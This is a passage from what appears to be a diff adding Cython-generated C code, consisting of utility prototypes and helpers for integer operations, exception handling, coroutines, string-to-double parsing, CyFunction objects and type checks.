*__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_MultiplyObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_MultiplyObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceMultiply(op1, op2) : PyNumber_Multiply(op1, op2)) +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + (likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* ReturnWithStopIteration.proto */ +#define __Pyx_ReturnWithStopIteration(value)\ + if (value == Py_None) PyErr_SetNone(PyExc_StopIteration); else __Pyx__ReturnWithStopIteration(value) +static void __Pyx__ReturnWithStopIteration(PyObject* value); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* pybytes_as_double.proto */ +static double __Pyx_SlowPyString_AsDouble(PyObject *obj); +static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length); +static CYTHON_INLINE double __Pyx_PyBytes_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyBytes_AS_STRING(obj); + size = PyBytes_GET_SIZE(obj); +#else + if (PyBytes_AsStringAndSize(obj, &as_c_string, &size) < 0) { + return (double)-1; + } +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} +static CYTHON_INLINE double __Pyx_PyByteArray_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyByteArray_AS_STRING(obj); + size = PyByteArray_GET_SIZE(obj); +#else + as_c_string = PyByteArray_AsString(obj); + if (as_c_string == NULL) { + return (double)-1; + } + size = PyByteArray_Size(obj); +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} + +/* pyunicode_as_double.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS +static const char* __Pyx__PyUnicode_AsDouble_Copy(const void* data, const int kind, char* buffer, Py_ssize_t start, Py_ssize_t end) { + int last_was_punctuation; + Py_ssize_t i; + last_was_punctuation = 1; + for (i=start; i <= end; i++) { + Py_UCS4 chr = PyUnicode_READ(kind, data, i); + int is_punctuation = (chr == '_') | (chr == '.'); + *buffer = (char)chr; + buffer += (chr != '_'); + if (unlikely(chr > 127)) goto parse_failure; + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyUnicode_AsDouble_inf_nan(const void* data, int kind, Py_ssize_t start, Py_ssize_t length) { + int matches = 1; + Py_UCS4 chr; + Py_UCS4 sign = PyUnicode_READ(kind, data, start); + int is_signed = (sign == '-') | (sign == '+'); + start += is_signed; + length -= is_signed; + switch (PyUnicode_READ(kind, data, start)) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'a') | (chr == 'A'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'n') | (chr == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'f') | (chr == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+3); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+4); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+5); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+6); + matches &= (chr == 't') | (chr == 'T'); + chr = PyUnicode_READ(kind, data, start+7); + matches &= (chr == 'y') | (chr == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static double __Pyx_PyUnicode_AsDouble_WithSpaces(PyObject *obj) { + double value; + const char *last; + char *end; + Py_ssize_t start, length = PyUnicode_GET_LENGTH(obj); + const int kind = PyUnicode_KIND(obj); + const void* data = PyUnicode_DATA(obj); + start = 0; + while (Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, start))) + start++; + while (start < length - 1 && Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, length - 1))) + length--; + length -= start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyUnicode_AsDouble_inf_nan(data, kind, start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + if (length < 40) { + char number[40]; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((length + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} +#endif +static CYTHON_INLINE double __Pyx_PyUnicode_AsDouble(PyObject *obj) { +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS + if (unlikely(__Pyx_PyUnicode_READY(obj) == -1)) + return (double)-1; + if (likely(PyUnicode_IS_ASCII(obj))) { + const char *s; + Py_ssize_t length; + s = PyUnicode_AsUTF8AndSize(obj, &length); + return __Pyx__PyBytes_AsDouble(obj, s, length); + } + return __Pyx_PyUnicode_AsDouble_WithSpaces(obj); +#else + return __Pyx_SlowPyString_AsDouble(obj); +#endif +} + +/* pyobject_as_double.proto */ +static double __Pyx__PyObject_AsDouble(PyObject* obj); +#if CYTHON_COMPILING_IN_PYPY +#define __Pyx_PyObject_AsDouble(obj)\ +(likely(PyFloat_CheckExact(obj)) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyInt_CheckExact(obj)) ?\ + PyFloat_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#else +#define __Pyx_PyObject_AsDouble(obj)\ +((likely(PyFloat_CheckExact(obj))) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyLong_CheckExact(obj)) ?\ + PyLong_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#endif + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) +#endif + +/* UnicodeConcatInPlace.proto */ +# if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 + #if CYTHON_REFNANNY + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right, __pyx_refnanny) + #else + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right) + #endif + static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ); +#else +#define __Pyx_PyUnicode_ConcatInPlace __Pyx_PyUnicode_Concat +#endif +#define __Pyx_PyUnicode_ConcatInPlaceSafe(left, right) ((unlikely((left) == Py_None) || unlikely((right) == Py_None)) ?\ + PyNumber_InPlaceAdd(left, right) : __Pyx_PyUnicode_ConcatInPlace(left, right)) + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportDottedModule.proto */ +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple); +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple); +#endif + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* Py3UpdateBases.proto */ +static PyObject* __Pyx_PEP560_update_bases(PyObject *bases); + +/* CalculateMetaclass.proto */ +static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); + +/* SetNameInClass.proto */ +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? _PyDict_SetItem_KnownHash(ns, name, value, ((PyASCIIObject *) name)->hash) : PyObject_SetItem(ns, name, value)) +#elif CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? PyDict_SetItem(ns, name, value) : PyObject_SetItem(ns, name, value)) +#else +#define __Pyx_SetNameInClass(ns, name, value) PyObject_SetItem(ns, name, value) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* Py3ClassCreate.proto */ +static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, + PyObject *mkw, PyObject *modname, PyObject *doc); +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, + PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* Generator.proto */ +#define __Pyx_Generator_USED +#define __Pyx_Generator_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_GeneratorType) +#define __Pyx_Generator_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_GeneratorType, body, code, closure, name, qualname, module_name) +static PyObject *__Pyx_Generator_Next(PyObject *self); +static int __pyx_Generator_init(PyObject *module); + +/* 